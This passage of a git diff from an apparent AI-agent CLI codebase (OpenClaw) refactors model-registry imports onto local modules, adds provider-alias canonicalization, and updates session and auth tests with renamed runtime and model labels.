unknown): Model[] { } } - return availableModels as Model[]; + return availableModels as Model[]; } function loadAvailableModels( registry: ModelRegistry, cfg: OpenClawConfig, opts?: { runtimeSuppression?: boolean }, -): Model[] { +): Model[] { let availableModels: unknown; try { availableModels = registry.getAvailable(); @@ -95,14 +94,9 @@ export async function loadModelRegistry( }, ) { const runtimeSuppression = opts?.normalizeModels !== false; - const agentDir = resolveDefaultAgentDir(cfg); - const authStorage = discoverAuthStorage(agentDir, { - readOnly: true, + const { registry } = loadAgentModelRegistry(cfg, { skipCredentials: opts?.loadAvailability === false, - config: cfg, workspaceDir: opts?.workspaceDir, - }); - const registry = discoverModels(authStorage, agentDir, { providerFilter: opts?.providerFilter, normalizeModels: opts?.normalizeModels, }); diff --git a/src/commands/models/list.row-sources.ts b/src/commands/models/list.row-sources.ts index ccb68c80ecc..63ee9479cf5 100644 --- a/src/commands/models/list.row-sources.ts +++ b/src/commands/models/list.row-sources.ts @@ -1,4 +1,4 @@ -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; +import type { ModelRegistry } from "../../llm/model-registry.js"; import { appendCatalogSupplementRows, appendAuthenticatedCatalogRows, diff --git a/src/commands/models/list.rows.ts b/src/commands/models/list.rows.ts index 39c4ae4a29c..eb05c594139 100644 --- a/src/commands/models/list.rows.ts +++ b/src/commands/models/list.rows.ts @@ -1,5 +1,3 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; import { DEFAULT_CONTEXT_TOKENS } from "../../agents/defaults.js"; import { shouldSuppressBuiltInModel, @@ -8,6 +6,8 @@ import { import { normalizeProviderId } from "../../agents/provider-id.js"; import type { ModelDefinitionConfig, ModelProviderConfig } from "../../config/types.models.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { ModelRegistry } from "../../llm/model-registry.js"; +import type { Model } from "../../llm/types.js"; import type { NormalizedModelCatalogRow } from "../../model-catalog/index.js"; import type { PluginMetadataSnapshot } from "../../plugins/plugin-metadata-snapshot.types.js"; import type { ProviderRuntimeModel } from "../../plugins/provider-runtime-model.types.js"; @@ -17,11 +17,12 @@ import type { ModelListAuthIndex } from "./list.auth-index.js"; import type { ListRowModel } from "./list.model-row.js"; import { toModelRow } from "./list.model-row.js"; import type { ConfiguredEntry, ModelRow } from "./list.types.js"; +import { canonicalizeModelCatalogProviderAlias } from "./provider-aliases.js"; import { isLocalBaseUrl, modelKey } from "./shared.js"; type ConfiguredByKey = Map; type ModelCatalogModule = typeof import("../../agents/model-catalog.js"); -type ModelResolverModule = typeof import("../../agents/pi-embedded-runner/model.js"); +type ModelResolverModule = typeof import("../../agents/embedded-agent-runner/model.js"); type ProviderCatalogModule = typeof import("./list.provider-catalog.js"); type RowFilter = { @@ -46,7 +47,7 @@ const modelCatalogModuleLoader = createLazyImportLoader( () => import("../../agents/model-catalog.js"), ); const modelResolverModuleLoader = createLazyImportLoader( - () => import("../../agents/pi-embedded-runner/model.js"), + () => import("../../agents/embedded-agent-runner/model.js"), ); const providerCatalogModuleLoader = createLazyImportLoader( () => import("./list.provider-catalog.js"), @@ -64,11 +65,26 @@ function loadProviderCatalogModule(): Promise { return providerCatalogModuleLoader.load(); } -function matchesRowFilter(filter: RowFilter, model: { provider: string; baseUrl?: string }) { - if (filter.provider && normalizeProviderId(model.provider) !== filter.provider) { +function matchesProviderFilter(context: RowBuilderContext, provider: string): boolean { + const providerFilter = context.filter.provider; + if (!providerFilter) { + return true; + } + const canonicalProvider = canonicalizeModelCatalogProviderAlias(provider, { + cfg: context.cfg, + metadataSnapshot: context.metadataSnapshot, + }); + return normalizeProviderId(canonicalProvider) === providerFilter; +} + +function matchesRowFilter( + context: RowBuilderContext, + model: { provider: string; baseUrl?: string }, +) { + if (!matchesProviderFilter(context, model.provider)) { return false; } - if (filter.local && !isLocalBaseUrl(model.baseUrl ?? "")) { + if (context.filter.local && !isLocalBaseUrl(model.baseUrl ?? "")) { return false; } return true; @@ -163,7 +179,7 @@ async function appendVisibleRow(params: { if (params.seenKeys?.has(params.key)) { return false; } - if (!matchesRowFilter(params.context.filter, params.model)) { + if (!matchesRowFilter(params.context, params.model)) { return false; } const normalizedModel = normalizeListRowWithProviderPlugin({ @@ -280,7 +296,7 @@ function toFallbackConfiguredListModel(entry: ConfiguredEntry, cfg: OpenClawConf export async function appendDiscoveredRows(params: { rows: ModelRow[]; - models: Model[]; + models: Model[]; modelRegistry?: ModelRegistry; context: RowBuilderContext; resolveWithRegistry?: boolean; @@ -438,10 +454,7 @@ export async function appendCatalogSupplementRows(params: { metadataSnapshot: params.context.metadataSnapshot, }); for (const entry of catalog) { - if ( - params.context.filter.provider && - normalizeProviderId(entry.provider) !== params.context.filter.provider - ) { + if (!matchesProviderFilter(params.context, entry.provider)) { continue; } const key = modelKey(entry.provider, entry.id); @@ -483,7 +496,7 @@ export async function appendProviderCatalogRows(params: { context: RowBuilderContext; seenKeys: Set; staticOnly?: boolean; - catalogModels?: readonly Model[]; + catalogModels?: readonly Model[]; }): Promise { let appended = 0; let catalogModels = params.catalogModels; @@ -525,10 +538,7 @@ export async function appendConfiguredRows(params: { ? (await loadModelResolverModule()).resolveModelWithRegistry : undefined; for (const entry of params.entries) { - if ( - params.context.filter.provider && - normalizeProviderId(entry.ref.provider) !== params.context.filter.provider - ) { + if (!matchesProviderFilter(params.context, entry.ref.provider)) { continue; } const resolvedModel = diff --git a/src/commands/models/list.status.test.ts b/src/commands/models/list.status.test.ts index 51cabf00360..b3d87eec06a 100644 --- a/src/commands/models/list.status.test.ts +++ b/src/commands/models/list.status.test.ts @@ -459,6 +459,34 @@ describe("modelsStatusCommand auth overview", () => { expect(payload.auth.storePath).toBe("/tmp/openclaw-isolated-agent/auth-profiles.json"); }); + it("honors deprecated PI_CODING_AGENT_DIR when OPENCLAW_AGENT_DIR is unset", async () => { + const localRuntime = createRuntime(); + const previousOpenClaw = process.env.OPENCLAW_AGENT_DIR; + const previousPi = process.env.PI_CODING_AGENT_DIR; + delete process.env.OPENCLAW_AGENT_DIR; + process.env.PI_CODING_AGENT_DIR = "/tmp/openclaw-legacy-agent"; + mocks.resolveAgentDir.mockClear(); + try { + await modelsStatusCommand({ json: true }, localRuntime as never); + } finally { + if (previousOpenClaw === undefined) { + delete process.env.OPENCLAW_AGENT_DIR; + } else { + process.env.OPENCLAW_AGENT_DIR = previousOpenClaw; + } + if (previousPi === undefined) { + delete process.env.PI_CODING_AGENT_DIR; + } else { + process.env.PI_CODING_AGENT_DIR = previousPi; + } + } + + expect(mocks.resolveAgentDir).not.toHaveBeenCalled(); + expect(mocks.ensureAuthProfileStore).toHaveBeenCalledWith("/tmp/openclaw-legacy-agent"); + const payload = parseFirstJsonLog(localRuntime); + expect(payload.agentDir).toBe("/tmp/openclaw-legacy-agent"); + }); + it("uses agent overrides and reports sources", async () => { const localRuntime = createRuntime(); await withAgentScopeOverrides( @@ -1285,7 +1313,7 @@ describe("modelsStatusCommand auth overview", () => { } }); - it("handles cli backend and aliased provider auth summaries", async () => { + it("handles cli backend and exact provider auth summaries", async () => { const localRuntime = createRuntime(); const originalLoadConfig = mocks.loadConfig.getMockImplementation(); const originalEnvImpl = mocks.resolveEnvApiKey.getMockImplementation(); @@ -1332,9 +1360,9 @@ describe("modelsStatusCommand auth overview", () => { const aliasPayload = parseFirstJsonLog(aliasRuntime); const providers = aliasPayload.auth.providers as Array<{ provider: string }>; expect( - providers.reduce((count, provider) => count + (provider.provider === "zai" ? 1 : 0), 0), + providers.reduce((count, provider) => count + (provider.provider === "z.ai" ? 1 : 0), 0), ).toBe(1); - expect(providers.map((provider) => provider.provider)).not.toContain("z.ai"); + expect(providers.map((provider) => provider.provider)).not.toContain("zai"); } finally { if (originalLoadConfig) { mocks.loadConfig.mockImplementation(originalLoadConfig); diff --git a/src/commands/models/provider-aliases.ts b/src/commands/models/provider-aliases.ts new file mode 100644 index 00000000000..7c55a559dfc --- /dev/null +++ b/src/commands/models/provider-aliases.ts @@ -0,0 +1,64 @@ +import { normalizeProviderId } from "../../agents/model-selection.js"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { + loadPluginManifestRegistry, + type PluginManifestRecord, +} from "../../plugins/manifest-registry.js"; +import type { PluginMetadataSnapshot } from "../../plugins/plugin-metadata-snapshot.js"; + +type ProviderAliasSource = { + cfg: OpenClawConfig; + metadataSnapshot?: Pick; +}; + +function listManifestPlugins(params: ProviderAliasSource): readonly PluginManifestRecord[] { + return params.metadataSnapshot?.manifestRegistry.plugins ?? loadPluginManifestRegistry({ + config: params.cfg, + }).plugins; +} + +function buildProviderAliasMap(params: ProviderAliasSource): ReadonlyMap { + const aliases = new Map(); + for (const plugin of listManifestPlugins(params)) { + for (const [aliasProvider, target] of Object.entries(plugin.modelCatalog?.aliases ?? {})) { + const alias = normalizeProviderId(aliasProvider); + const provider = normalizeProviderId(target.provider); + if (alias && provider) { + aliases.set(alias, provider); + } + } + } + return aliases; +} + +export function createModelCatalogProviderAliasCanonicalizer(params: ProviderAliasSource): { + provider: (provider: string) => string; + ref: (ref: TRef) => TRef; +} { + const aliases = buildProviderAliasMap(params); + const provider = (providerId: string) => { + const normalizedProvider = normalizeProviderId(providerId); + return aliases.get(normalizedProvider) ?? normalizedProvider; + }; + return { + provider, + ref: (ref) => { + const canonicalProvider = provider(ref.provider); + return canonicalProvider === ref.provider ? ref : { ...ref, provider: canonicalProvider }; + }, + }; +} + +export function canonicalizeModelCatalogProviderAlias( + provider: string, + params: ProviderAliasSource, +): string { + return createModelCatalogProviderAliasCanonicalizer(params).provider(provider); +} + +export function canonicalizeModelCatalogProviderRef( + ref: TRef, + params: ProviderAliasSource, +): TRef { + return createModelCatalogProviderAliasCanonicalizer(params).ref(ref); +} diff --git a/src/commands/models/scan.ts b/src/commands/models/scan.ts index 5d1717610ea..7f26ed08ffe 100644 --- a/src/commands/models/scan.ts +++ b/src/commands/models/scan.ts @@ -1,5 +1,4 @@ import { cancel, multiselect as clackMultiselect, isCancel } from "@clack/prompts"; -import { getEnvApiKey } from "@earendil-works/pi-ai"; import { resolveApiKeyForProvider } from "../../agents/model-auth.js"; import { type ModelScanResult, scanOpenRouterModels } from "../../agents/model-scan.js"; import { formatCliCommand } from "../../cli/command-format.js"; @@ -10,6 +9,7 @@ import { parseStrictFiniteNumber, parseStrictPositiveInteger, } from "../../infra/parse-finite-number.js"; +import { getEnvApiKey } from "../../llm/env-api-keys.js"; import { type RuntimeEnv, writeRuntimeJson } from "../../runtime.js"; import { stylePromptHint, diff --git a/src/commands/models/set.test.ts b/src/commands/models/set.test.ts index 21d67cd5851..218da24341e 100644 --- a/src/commands/models/set.test.ts +++ b/src/commands/models/set.test.ts @@ -1,4 +1,5 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import type { RuntimeEnv } from "../../runtime.js"; @@ -40,6 +41,10 @@ describe("modelsSetCommand", () => { mocks.repairCodexRuntimePluginInstallForModelSelection.mockResolvedValue({ warnings: [] }); }); + afterEach(() => { + vi.unstubAllEnvs(); + }); + it("resolves aliases from runtime config while writing only source config", async () => { const sourceConfig = { agents: { @@ -131,4 +136,40 @@ describe("modelsSetCommand", () => { }); expect(runtime.log).toHaveBeenCalledWith("Default model: openai/gpt-5.5"); }); + + it("persists manifest-owned provider aliases with the canonical provider id", async () => { + vi.stubEnv("OPENCLAW_BUNDLED_PLUGINS_DIR", path.resolve("extensions")); + + const sourceConfig = { + agents: { + defaults: { + models: {}, + }, + }, + } as unknown as OpenClawConfig; + mocks.readConfigFileSnapshot.mockResolvedValue({ + valid: true, + hash: "config-hash", + sourceConfig, + runtimeConfig: sourceConfig, + config: sourceConfig, + }); + const runtime = makeRuntime(); + + await modelsSetCommand("z.ai/glm-4.7", runtime); + + expect(mocks.replaceConfigFile).toHaveBeenCalledOnce(); + const [replaceParams] = mocks.replaceConfigFile.mock.calls[0] ?? []; + expect(replaceParams?.nextConfig.agents?.defaults?.model).toEqual({ + primary: "zai/glm-4.7", + }); + expect(replaceParams?.nextConfig.agents?.defaults?.models).toEqual({ + "zai/glm-4.7": {}, + }); + expect(mocks.repairCodexRuntimePluginInstallForModelSelection).toHaveBeenCalledWith({ + cfg: replaceParams?.nextConfig, + model: "zai/glm-4.7", + }); + expect(runtime.log).toHaveBeenCalledWith("Default model: zai/glm-4.7"); + }); }); diff --git a/src/commands/models/shared.ts b/src/commands/models/shared.ts index ed1fc4f5c8f..6637a8192a3 100644 --- a/src/commands/models/shared.ts +++ b/src/commands/models/shared.ts @@ -18,6 +18,7 @@ import { normalizeAgentModelRefForConfig, toAgentModelListLike } from "../../con import type { AgentModelEntryConfig } from "../../config/types.agent-defaults.js"; import type { AgentModelConfig } from "../../config/types.agents-shared.js"; import { normalizeAgentId } from "../../routing/session-key.js"; +import { canonicalizeModelCatalogProviderRef } from "./provider-aliases.js"; export { normalizeAlias } from "./alias-name.js"; export { isLocalBaseUrl } from "./list.local-url.js"; @@ -97,7 +98,7 @@ export function resolveModelTarget(params: { raw: string; cfg: OpenClawConfig }) if (!resolved) { throw new Error(`Invalid model reference: ${params.raw}`); } - return resolved.ref; + return canonicalizeModelCatalogProviderRef(resolved.ref, { cfg: params.cfg }); } function resolveAuthoredModelAliasTarget(params: { diff --git a/src/commands/onboard-auth.test.ts b/src/commands/onboard-auth.test.ts index 6b5ed28ca53..946d71f3b71 100644 --- a/src/commands/onboard-auth.test.ts +++ b/src/commands/onboard-auth.test.ts @@ -1,8 +1,8 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { OAuthCredentials } from "@earendil-works/pi-ai"; import { afterEach, describe, expect, it, vi } from "vitest"; +import type { OAuthCredentials } from "../llm/utils/oauth/types.js"; import { applyAuthProfileConfig, upsertApiKeyProfile, @@ -124,7 +124,6 @@ describe("writeOAuthCredentials", () => { const lifecycle = createAuthTestLifecycle([ "OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "OPENCLAW_OAUTH_DIR", ]); @@ -172,7 +171,6 @@ describe("writeOAuthCredentials", () => { await fs.mkdir(workerAgentDir, { recursive: true }); process.env.OPENCLAW_AGENT_DIR = kidAgentDir; - process.env.PI_CODING_AGENT_DIR = kidAgentDir; const creds = { refresh: "refresh-sync", @@ -207,7 +205,6 @@ describe("writeOAuthCredentials", () => { await fs.mkdir(kidAgentDir, { recursive: true }); process.env.OPENCLAW_AGENT_DIR = kidAgentDir; - process.env.PI_CODING_AGENT_DIR = kidAgentDir; const creds = { refresh: "refresh-kid", @@ -275,7 +272,6 @@ describe("upsertApiKeyProfile secret refs", () => { const lifecycle = createAuthTestLifecycle([ "OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "MOONSHOT_API_KEY", "OPENAI_API_KEY", "CLOUDFLARE_AI_GATEWAY_API_KEY", @@ -418,11 +414,7 @@ describe("upsertApiKeyProfile secret refs", () => { }); describe("upsertApiKeyProfile", () => { - const lifecycle = createAuthTestLifecycle([ - "OPENCLAW_STATE_DIR", - "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", - ]); + const lifecycle = createAuthTestLifecycle(["OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR"]); afterEach(async () => { await lifecycle.cleanup(); diff --git a/src/commands/onboard-custom-config.ts b/src/commands/onboard-custom-config.ts index f1255113dd9..939f7b07961 100644 --- a/src/commands/onboard-custom-config.ts +++ b/src/commands/onboard-custom-config.ts @@ -16,7 +16,7 @@ import { normalizeAlias } from "./models/alias-name.js"; /** * Wizard default for non-Azure custom APIs when context length is unknown. * Mirrors the generic persisted custom-model catalog fallback and leaves enough - * room above the default compaction reserve floor in `pi-settings.ts`. + * room above the default compaction reserve floor in `agent-settings.ts`. */ export const CUSTOM_PROVIDER_DEFAULT_CONTEXT_WINDOW_TOKENS = 128_000; const DEFAULT_CONTEXT_WINDOW = CUSTOM_PROVIDER_DEFAULT_CONTEXT_WINDOW_TOKENS; diff --git a/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.runtime.ts b/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.runtime.ts index 4873369919d..8e460bed01b 100644 --- a/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.runtime.ts +++ b/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.runtime.ts @@ -1,9 +1,9 @@ import { resolveProviderPluginChoice } from "../../../plugins/provider-wizard.js"; -import { resolveOwningPluginIdsForProvider } from "../../../plugins/providers.js"; +import { resolveOwningPluginIdsForProviderRef } from "../../../plugins/providers.js"; import { resolvePluginProviders } from "../../../plugins/providers.runtime.js"; export const authChoicePluginProvidersRuntime = { - resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef, resolveProviderPluginChoice, resolvePluginProviders, }; diff --git a/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.test.ts b/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.test.ts index 20eaa4fe685..44cfa9573e3 100644 --- a/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.test.ts +++ b/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.test.ts @@ -34,7 +34,7 @@ const resolveProviderPluginChoice = vi.hoisted(() => vi.fn()); const resolvePluginProviders = vi.hoisted(() => vi.fn(() => [])); vi.mock("./auth-choice.plugin-providers.runtime.js", () => ({ authChoicePluginProvidersRuntime: { - resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef: resolveOwningPluginIdsForProvider, resolveProviderPluginChoice, resolvePluginProviders, }, diff --git a/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.ts b/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.ts index 7a8e22efe9e..fb28b8f7d36 100644 --- a/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.ts +++ b/src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.ts @@ -65,10 +65,13 @@ export async function applyNonInteractivePluginProviderChoice(params: { workspaceDir, includeUntrustedWorkspacePlugins: false, })); - const { resolveOwningPluginIdsForProvider, resolveProviderPluginChoice, resolvePluginProviders } = - await loadAuthChoicePluginProvidersRuntime(); + const { + resolveOwningPluginIdsForProviderRef, + resolveProviderPluginChoice, + resolvePluginProviders, + } = await loadAuthChoicePluginProvidersRuntime(); const owningPluginIds = preferredProviderId - ? resolveOwningPluginIdsForProvider({ + ? resolveOwningPluginIdsForProviderRef({ provider: preferredProviderId, config: params.nextConfig, workspaceDir, diff --git a/src/commands/sessions-cleanup.test.ts b/src/commands/sessions-cleanup.test.ts index 6a1bc1a642c..dd4f19aa2c0 100644 --- a/src/commands/sessions-cleanup.test.ts +++ b/src/commands/sessions-cleanup.test.ts @@ -469,8 +469,8 @@ describe("sessionsCleanupCommand", () => { wouldMutate: true, }, beforeStore: { - stale: { sessionId: "stale", updatedAt: 1, model: "pi:opus" }, - fresh: { sessionId: "fresh", updatedAt: 2, model: "pi:opus" }, + stale: { sessionId: "stale", updatedAt: 1, model: "test:opus" }, + fresh: { sessionId: "fresh", updatedAt: 2, model: "test:opus" }, }, missingKeys: new Set(), staleKeys: new Set(["stale"]), diff --git a/src/commands/sessions.acp-runtime-metadata.test.ts b/src/commands/sessions.acp-runtime-metadata.test.ts index 5e540e254cb..9bd13486699 100644 --- a/src/commands/sessions.acp-runtime-metadata.test.ts +++ b/src/commands/sessions.acp-runtime-metadata.test.ts @@ -4,9 +4,9 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { parseAgentSessionKey } from "../routing/session-key.js"; /** - * Catalog #18 — `openclaw sessions --json` reports `agentRuntime.id: "pi"` for + * Catalog #18 — `openclaw sessions --json` reports `agentRuntime.id: "openclaw"` for * ACP sessions because `resolveAgentRuntimeMetadata` only consults agent-config - * policies (env / agent / defaults / implicit fallback to "pi"). The session + * policies (env / agent / defaults / implicit fallback to "openclaw"). The session * key clearly carries the ACP runtime indicator (the `:acp:` segment), but * `sessions.ts:294` ignores it and just calls `resolveAgentRuntimeMetadata(cfg, agentId)`. * @@ -16,20 +16,20 @@ import { parseAgentSessionKey } from "../routing/session-key.js"; * { * "key": "agent:copilot:acp:86b7b5af-3773-4a56-b244-069d6c5d3db9", * "agentId": "copilot", - * "agentRuntime": { "id": "pi", "source": "implicit" }, + * "agentRuntime": { "id": "openclaw", "source": "implicit" }, * "kind": "direct" * } * - * That is wrong: this session is plainly ACP, not PI. The runtime field is + * That is wrong: this session is plainly ACP, not the native runtime. The runtime field is * supposed to be a faithful classifier of how this session is actually being - * run; instead, every ACP session in the JSON output is mislabelled as `pi`. + * run; instead, every ACP session in the JSON output is mislabelled as the native runtime. * * This test mirrors the exact computation `sessionsCommand` performs at * `src/commands/sessions.ts:294` and proves the bug in two parts: * - * - RED: ACP-keyed session resolves to `id: "pi"`, `source: "implicit"`. + * - RED: ACP-keyed session resolves to `id: "openclaw"`, `source: "implicit"`. * - GREEN control: a non-ACP `agent:main:main` session resolves to the - * same implicit-pi metadata, which IS correct in that case. The control + * same implicit-native metadata, which IS correct in that case. The control * proves the assertion infrastructure is not masking the RED case. * * Fix shape (see the third test): when the session key is ACP-style, @@ -53,7 +53,7 @@ const NON_ACP_SESSION_KEY = "agent:main:main"; * - no top-level `agents.defaults.agentRuntime` either * * Result: `resolveAgentRuntimeMetadata(cfg, "copilot")` falls through to the - * implicit "pi" branch — which is the bug under test. + * implicit "openclaw" branch — which is the bug under test. */ function buildConfigWithoutAgentRuntimePolicy(): OpenClawConfig { return { @@ -112,12 +112,12 @@ describe("sessions --json agentRuntime classifier (catalog #18)", () => { }); // The bug was: the session key plainly contains `:acp:` and yet the - // resolved metadata said id="pi", source="implicit". + // resolved metadata said id="openclaw", source="implicit". // After the fix (applyAcpRuntimeOverlay in resolveModelAgentRuntimeMetadata), // the ACP session key overrides the runtime to id="acpx", source="session-key". expect( agentRuntime.id, - `ACP session ${ACP_SESSION_KEY} should no longer be misclassified as "auto" or "pi". ` + + `ACP session ${ACP_SESSION_KEY} should no longer be misclassified as "auto" or "openclaw". ` + `Got "${agentRuntime.id}". resolveModelAgentRuntimeMetadata must pass sessionKey to ` + `applyAcpRuntimeOverlay so ACP sessions are classified as "acpx".`, ).not.toBe("auto"); @@ -153,7 +153,7 @@ describe("sessions --json agentRuntime classifier (catalog #18)", () => { // // Note: the exact id ("acpx" vs another label) is a design choice for // the fix author. What matters is that it is meaningfully different - // from "pi" and reflects the actual runtime driving the session. + // from "openclaw" and reflects the actual runtime driving the session. // If the fix picks a different label, update this assertion to match — // the structural point (session-key-aware classification) is the // load-bearing part. diff --git a/src/commands/sessions.default-agent-store.test.ts b/src/commands/sessions.default-agent-store.test.ts index e249157d194..4b978bdd1a9 100644 --- a/src/commands/sessions.default-agent-store.test.ts +++ b/src/commands/sessions.default-agent-store.test.ts @@ -35,8 +35,8 @@ function createSessionsConfig(store = "/tmp/sessions-{agentId}.json") { return { agents: { defaults: { - model: { primary: "pi:opus" }, - models: { "pi:opus": {} }, + model: { primary: "test:opus" }, + models: { "test:opus": {} }, contextTokens: 32000, }, list: [ @@ -77,10 +77,10 @@ describe("sessionsCommand default store agent selection", () => { loadSessionStoreMock.mockReset(); loadSessionStoreMock .mockReturnValueOnce({ - main_row: { sessionId: "s1", updatedAt: Date.now() - 60_000, model: "pi:opus" }, + main_row: { sessionId: "s1", updatedAt: Date.now() - 60_000, model: "test:opus" }, }) .mockReturnValueOnce({ - voice_row: { sessionId: "s2", updatedAt: Date.now() - 120_000, model: "pi:opus" }, + voice_row: { sessionId: "s2", updatedAt: Date.now() - 120_000, model: "test:opus" }, }); const { runtime, logs } = createRuntime(); @@ -99,8 +99,8 @@ describe("sessionsCommand default store agent selection", () => { loadConfigMock.mockImplementation(() => createSessionsConfig("/tmp/shared-sessions.json")); loadSessionStoreMock.mockReset(); loadSessionStoreMock.mockReturnValue({ - "agent:main:room": { sessionId: "s1", updatedAt: Date.now() - 60_000, model: "pi:opus" }, - "agent:voice:room": { sessionId: "s2", updatedAt: Date.now() - 30_000, model: "pi:opus" }, + "agent:main:room": { sessionId: "s1", updatedAt: Date.now() - 60_000, model: "test:opus" }, + "agent:voice:room": { sessionId: "s2", updatedAt: Date.now() - 30_000, model: "test:opus" }, }); const { runtime, logs } = createRuntime(); @@ -137,7 +137,7 @@ describe("sessionsCommand default store agent selection", () => { loadSessionStoreMock.mockReset(); loadSessionStoreMock .mockReturnValueOnce({ - main_row: { sessionId: "s1", updatedAt: Date.now() - 60_000, model: "pi:opus" }, + main_row: { sessionId: "s1", updatedAt: Date.now() - 60_000, model: "test:opus" }, }) .mockReturnValueOnce({}); const { runtime, logs } = createRuntime(); diff --git a/src/commands/sessions.model-resolution.test.ts b/src/commands/sessions.model-resolution.test.ts index d87d45bcc5c..bbbab40ea22 100644 --- a/src/commands/sessions.model-resolution.test.ts +++ b/src/commands/sessions.model-resolution.test.ts @@ -55,11 +55,11 @@ describe("sessionsCommand model resolution", () => { { modelProvider: "openai-codex", model: "gpt-5.4", - modelOverride: "pi:opus", + modelOverride: "test:opus", }, "subagent-1", ); - expect(model).toBe("pi:opus"); + expect(model).toBe("test:opus"); }); it("falls back to modelOverride when runtime model is missing", async () => { diff --git a/src/commands/sessions.test-helpers.ts b/src/commands/sessions.test-helpers.ts index c5fe142835f..22177fcdf3a 100644 --- a/src/commands/sessions.test-helpers.ts +++ b/src/commands/sessions.test-helpers.ts @@ -9,8 +9,8 @@ const sessionsConfigState = vi.hoisted<{ loadConfig: () => Record ({ agents: { defaults: { - model: { primary: "pi:opus" }, - models: { "pi:opus": {} }, + model: { primary: "test:opus" }, + models: { "test:opus": {} }, contextTokens: 32000, }, }, diff --git a/src/commands/sessions.test.ts b/src/commands/sessions.test.ts index 882295f2d27..3614fd421fb 100644 --- a/src/commands/sessions.test.ts +++ b/src/commands/sessions.test.ts @@ -36,7 +36,7 @@ describe("sessionsCommand", () => { outputTokens: 800, totalTokens: 2000, totalTokensFresh: true, - model: "pi:opus", + model: "test:opus", }, }); @@ -49,7 +49,7 @@ describe("sessionsCommand", () => { const row = logs.find((line) => line.includes("+15555550123")) ?? ""; expect(row).toBe( - "direct +15555550123 45m ago pi:opus OpenAI Codex 2.0k/32k (6%) id:abc123", + "direct +15555550123 45m ago test:opus OpenAI Codex 2.0k/32k (6%) id:abc123", ); }); @@ -141,7 +141,7 @@ describe("sessionsCommand", () => { const row = logs.find((line) => line.includes("quietchat:group:demo")) ?? ""; expect(row).toBe( - "group quietchat:group:demo 5m ago pi:opus OpenAI Codex unknown/32k (?%) think:high id:xyz", + "group quietchat:group:demo 5m ago test:opus OpenAI Codex unknown/32k (?%) think:high id:xyz", ); }); @@ -154,14 +154,14 @@ describe("sessionsCommand", () => { outputTokens: 800, totalTokens: 2000, totalTokensFresh: true, - model: "pi:opus", + model: "test:opus", }, "quietchat:group:demo": { sessionId: "xyz", updatedAt: Date.now() - 5 * 60_000, inputTokens: 20, outputTokens: 10, - model: "pi:opus", + model: "test:opus", }, }); @@ -187,7 +187,7 @@ describe("sessionsCommand", () => { updatedAt: Date.now() - 10 * 60_000, totalTokens: 2000, totalTokensFresh: false, - model: "pi:opus", + model: "test:opus", }, }); @@ -209,12 +209,12 @@ describe("sessionsCommand", () => { recent: { sessionId: "recent", updatedAt: Date.now() - 5 * 60_000, - model: "pi:opus", + model: "test:opus", }, stale: { sessionId: "stale", updatedAt: Date.now() - 45 * 60_000, - model: "pi:opus", + model: "test:opus", }, }, "sessions-active", @@ -263,9 +263,9 @@ describe("sessionsCommand", () => { it("honors explicit JSON output limits", async () => { const store = writeStore( { - newest: { sessionId: "newest", updatedAt: Date.now(), model: "pi:opus" }, - middle: { sessionId: "middle", updatedAt: Date.now() - 60_000, model: "pi:opus" }, - oldest: { sessionId: "oldest", updatedAt: Date.now() - 120_000, model: "pi:opus" }, + newest: { sessionId: "newest", updatedAt: Date.now(), model: "test:opus" }, + middle: { sessionId: "middle", updatedAt: Date.now() - 60_000, model: "test:opus" }, + oldest: { sessionId: "oldest", updatedAt: Date.now() - 120_000, model: "test:opus" }, }, "sessions-explicit-limit", ); @@ -288,8 +288,8 @@ describe("sessionsCommand", () => { it("allows full JSON output with --limit all", async () => { const store = writeStore( { - newest: { sessionId: "newest", updatedAt: Date.now(), model: "pi:opus" }, - oldest: { sessionId: "oldest", updatedAt: Date.now() - 120_000, model: "pi:opus" }, + newest: { sessionId: "newest", updatedAt: Date.now(), model: "test:opus" }, + oldest: { sessionId: "oldest", updatedAt: Date.now() - 120_000, model: "test:opus" }, }, "sessions-limit-all", ); @@ -312,8 +312,8 @@ describe("sessionsCommand", () => { it("sorts and slices large explicit limits instead of using top-N insertion", async () => { const store = writeStore( { - newest: { sessionId: "newest", updatedAt: Date.now(), model: "pi:opus" }, - oldest: { sessionId: "oldest", updatedAt: Date.now() - 120_000, model: "pi:opus" }, + newest: { sessionId: "newest", updatedAt: Date.now(), model: "test:opus" }, + oldest: { sessionId: "oldest", updatedAt: Date.now() - 120_000, model: "test:opus" }, }, "sessions-large-limit", ); diff --git a/src/commands/sessions.ts b/src/commands/sessions.ts index 9f97f4cd803..55eef413b77 100644 --- a/src/commands/sessions.ts +++ b/src/commands/sessions.ts @@ -206,7 +206,7 @@ function resolveSessionRuntimeLabel(params: { sessionKey: string; }): string { const id = normalizeOptionalLowercaseString(params.agentRuntime.id); - const resolvedHarness = id && id !== "pi" && id !== "auto" ? id : undefined; + const resolvedHarness = id && id !== "openclaw" && id !== "auto" ? id : undefined; return 